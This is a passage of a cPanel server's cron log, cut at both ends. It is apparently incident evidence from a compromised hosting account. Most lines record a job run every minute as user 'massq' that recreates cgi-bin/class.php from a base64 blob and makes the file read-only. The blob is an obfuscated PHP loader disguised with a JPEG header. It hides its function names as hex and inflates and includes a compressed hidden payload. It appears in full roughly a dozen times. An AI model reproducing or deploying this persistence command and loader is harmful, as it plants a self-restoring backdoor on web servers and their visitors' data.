0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:25:01 server CROND[7489]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:25:01 server CROND[7488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:26:01 server CROND[7707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:27:01 server CROND[7767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 14:27:01 server CROND[7768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:28:01 server CROND[7832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:29:01 server CROND[7899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:30:01 server CROND[7976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 14:30:01 server CROND[7977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:30:01 server CROND[7979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:30:01 server CROND[7978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:31:01 server CROND[8192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:32:01 server CROND[8248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:33:01 server CROND[8313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:34:01 server CROND[8378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:35:01 server CROND[8450]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 14:35:01 server CROND[8453]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 14:35:01 server CROND[8455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:35:01 server CROND[8454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:35:01 server CROND[8456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:36:01 server CROND[8583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:37:01 server CROND[8739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:38:01 server CROND[8797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:39:01 server CROND[8855]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 14:39:01 server CROND[8856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRk